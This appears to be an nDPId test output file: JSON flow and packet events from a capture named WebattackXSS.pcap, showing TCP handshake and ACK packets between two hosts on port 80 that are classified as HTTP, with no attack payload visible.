+00433{"flow_id":478,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6793,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347781,"pkt_ts_usec":835276,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0941AAEAGzErAqAoyrBAAAQBQ7ZCBpSP5rUHUpYARAOMM8gAAAQEICgPl1HQBPAL\/"} +00432{"flow_id":478,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6794,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347781,"pkt_ts_usec":835805,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Kq1AAD4GmyusEAABwKgKMu2QAFCtQdSlgaUj+oAQAOUM8AAAAQEICgE8Av8D5dR0"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6798,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":438,"flow_packet_id":6,"flow_first_seen":1499347709252,"flow_last_seen":1499347714812,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60084,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6798,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":438,"flow_packet_id":6,"flow_first_seen":1499347709252,"flow_last_seen":1499347714812,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60084,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6798,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":439,"flow_packet_id":6,"flow_first_seen":1499347712277,"flow_last_seen":1499347717814,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60134,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6798,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":439,"flow_packet_id":6,"flow_first_seen":1499347712277,"flow_last_seen":1499347717814,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60134,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6798,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":440,"flow_packet_id":6,"flow_first_seen":1499347712277,"flow_last_seen":1499347717814,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60136,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6798,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":440,"flow_packet_id":6,"flow_first_seen":1499347712277,"flow_last_seen":1499347717814,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60136,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6798,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":441,"flow_packet_id":6,"flow_first_seen":1499347713588,"flow_last_seen":1499347718814,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60154,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6798,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":441,"flow_packet_id":6,"flow_first_seen":1499347713588,"flow_last_seen":1499347718814,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60154,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6798,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":442,"flow_packet_id":7,"flow_first_seen":1499347716243,"flow_last_seen":1499347721814,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60180,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6798,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":442,"flow_packet_id":7,"flow_first_seen":1499347716243,"flow_last_seen":1499347721814,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60180,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6798,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":443,"flow_packet_id":6,"flow_first_seen":1499347717533,"flow_last_seen":1499347722814,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60194,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6798,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":443,"flow_packet_id":6,"flow_first_seen":1499347717533,"flow_last_seen":1499347722814,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60194,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6801,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":481,"flow_packet_id":1,"flow_first_seen":1499347783176,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60882,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":481,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6801,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347783,"pkt_ts_usec":176569,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8URhAAD4GdLisEAABwKgKMu3SAFAelFVWAAAAAKACchD3bAAAAgQFtAQCCAoBPAROAAAAAAEDAwc="} +00445{"flow_id":481,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6802,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347783,"pkt_ts_usec":176688,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7dLS\/qxUHpRVV6AScSCfTwAAAgQFtAQCCAoD5dXDATwETgEDAwc="} +00432{"flow_id":481,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6803,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347783,"pkt_ts_usec":177261,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0URlAAD4GdL+sEAABwKgKMu3SAFAelFVX0v6sVYAQAOU+VgAAAQEICgE8BE8D5dXD"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6810,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":482,"flow_packet_id":1,"flow_first_seen":1499347784519,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60896,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":482,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6810,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347784,"pkt_ts_usec":519893,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8CDdAAD4GvZmsEAABwKgKMu3gAFDyig2pAAAAAKACchBpxQAAAgQFtAQCCAoBPAWeAAAAAAEDAwc="} +00444{"flow_id":482,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6811,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347784,"pkt_ts_usec":520033,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7eBCNUBH8ooNqqAScSANLwAAAgQFtAQCCAoD5dcTATwFngEDAwc="} +00432{"flow_id":482,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6812,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347784,"pkt_ts_usec":520631,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0CDhAAD4GvaCsEAABwKgKMu3gAFDyig2qQjVASIAQAOWsNQAAAQEICgE8BZ8D5dcT"} +00432{"flow_id":479,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6816,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347784,"pkt_ts_usec":835342,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eCpAAD4GTa6sEAABwKgKMu2qAFDZQninACs6U4ARAOWndwAAAQEICgE8Be0D5dIC"} +00432{"flow_id":479,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6817,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347784,"pkt_ts_usec":835569,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA07TFAAEAG1qbAqAoyrBAAAQBQ7aoAKzpT2UJ4qIARAOOiGAAAAQEICgPl12IBPAXt"} +00432{"flow_id":479,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6818,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347784,"pkt_ts_usec":836311,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eCtAAD4GTa2sEAABwKgKMu2qAFDZQnioACs6VIAQAOWiFgAAAQEICgE8Be0D5ddi"} +00432{"flow_id":480,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6825,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347785,"pkt_ts_usec":835351,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0KhFAAD4Gm8esEAABwKgKMu24AFBtBSvEFbnxRoARAOWR0AAAAQEICgE8BucD5dNA"} +00432{"flow_id":480,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6826,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347785,"pkt_ts_usec":835442,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0KRpAAEAGmr7AqAoyrBAAAQBQ7bgVufFGbQUrxYARAOOMtQAAAQEICgPl2FwBPAbn"} +00432{"flow_id":480,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6827,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347785,"pkt_ts_usec":836201,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0KhJAAD4Gm8asEAABwKgKMu24AFBtBSvFFbnxR4AQAOWMswAAAQEICgE8BucD5dhc"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6831,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":483,"flow_packet_id":1,"flow_first_seen":1499347787097,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60922,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":483,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6831,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347787,"pkt_ts_usec":97862,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA87ftAAD4G19SsEAABwKgKMu36AFCLoOXYAAAAAKACchD14AAAAgQFtAQCCAoBPAgjAAAAAAEDAwc="} +00444{"flow_id":483,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6832,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347787,"pkt_ts_usec":98021,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7fr\/T2fti6Dl2aAScSCyBQAAAgQFtAQCCAoD5dmXATwIIwEDAwc="} +00432{"flow_id":483,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6833,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347787,"pkt_ts_usec":98799,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA07fxAAD4G19usEAABwKgKMu36AFCLoOXZ\/09n7oAQAOVRDQAAAQEICgE8CCMD5dmX"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6840,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":484,"flow_packet_id":1,"flow_first_seen":1499347788375,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60936,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":484,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6840,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347788,"pkt_ts_usec":375802,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8h61AAD4GPiOsEAABwKgKMu4IAFB6rY7PAAAAAKACchBckAAAAgQFtAQCCAoBPAliAAAAAAEDAwc="} +00444{"flow_id":484,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6841,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347788,"pkt_ts_usec":375925,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7gg8gqx8eq2O0KAScSCVswAAAgQFtAQCCAoD5drXATwJYgEDAwc="} +00432{"flow_id":484,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6842,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347788,"pkt_ts_usec":376497,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0h65AAD4GPiqsEAABwKgKMu4IAFB6rY7QPIKsfYAQAOU0uwAAAQEICgE8CWID5drX"} +00432{"flow_id":481,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6846,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347788,"pkt_ts_usec":835637,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0URpAAD4GdL6sEAABwKgKMu3SAFAelFVX0v6sVYARAOU4zwAAAQEICgE8CdUD5dXD"} +00433{"flow_id":481,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6847,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347788,"pkt_ts_usec":835897,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0dx9AAEAGTLnAqAoyrBAAAQBQ7dLS\/qxVHpRVWIARAOMzSQAAAQEICgPl20oBPAnV"} +00432{"flow_id":481,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6848,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347788,"pkt_ts_usec":836634,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0URtAAD4GdL2sEAABwKgKMu3SAFAelFVY0v6sVoAQAOUzRwAAAQEICgE8CdUD5dtK"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6852,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":485,"flow_packet_id":1,"flow_first_seen":1499347789640,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60950,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":485,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6852,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347789,"pkt_ts_usec":640444,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA83o1AAD4G50KsEAABwKgKMu4WAFDDudQTAAAAAKACchDM9QAAAgQFtAQCCAoBPAqeAAAAAAEDAwc="} +00444{"flow_id":485,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6853,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347789,"pkt_ts_usec":640581,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7hacXl08w7nUFKAScSD0QAAAAgQFtAQCCAoD5dwTATwKngEDAwc="} +00432{"flow_id":485,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6854,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347789,"pkt_ts_usec":641324,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03o5AAD4G50msEAABwKgKMu4WAFDDudQUnF5dPYAQAOWTRwAAAQEICgE8Cp8D5dwT"} +00432{"flow_id":482,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6858,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347789,"pkt_ts_usec":836397,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0CDlAAD4GvZ+sEAABwKgKMu3gAFDyig2qQjVASIARAOWnBAAAAQEICgE8Cs8D5dcT"} +00432{"flow_id":482,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6859,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347789,"pkt_ts_usec":836610,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0nAxAAEAGJ8zAqAoyrBAAAQBQ7eBCNUBI8ooNq4ARAOOh1AAAAQEICgPl3EQBPArP"} +00432{"flow_id":482,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6860,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347789,"pkt_ts_usec":837157,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0CDpAAD4GvZ6sEAABwKgKMu3gAFDyig2rQjVASYAQAOWh0QAAAQEICgE8CtAD5dxE"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6871,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":486,"flow_packet_id":1,"flow_first_seen":1499347792291,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60976,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":486,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6871,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347792,"pkt_ts_usec":291066,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8GCRAAD4GraysEAABwKgKMu4wAFDmKhURAAAAAKACchBm1gAAAgQFtAQCCAoBPA01AAAAAAEDAwc="} +00444{"flow_id":486,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6872,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347792,"pkt_ts_usec":291132,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7jDnRnKf5ioVEqAScSArPwAAAgQFtAQCCAoD5d6qATwNNQEDAwc="} +00432{"flow_id":486,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6873,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347792,"pkt_ts_usec":291908,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0GCVAAD4GrbOsEAABwKgKMu4wAFDmKhUS50ZyoIAQAOXKRgAAAQEICgE8DTUD5d6q"} +00433{"flow_id":483,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6876,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347792,"pkt_ts_usec":836759,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA07f1AAD4G19qsEAABwKgKMu36AFCLoOXZ\/09n7oARAOVLcQAAAQEICgE8Db4D5dmX"} 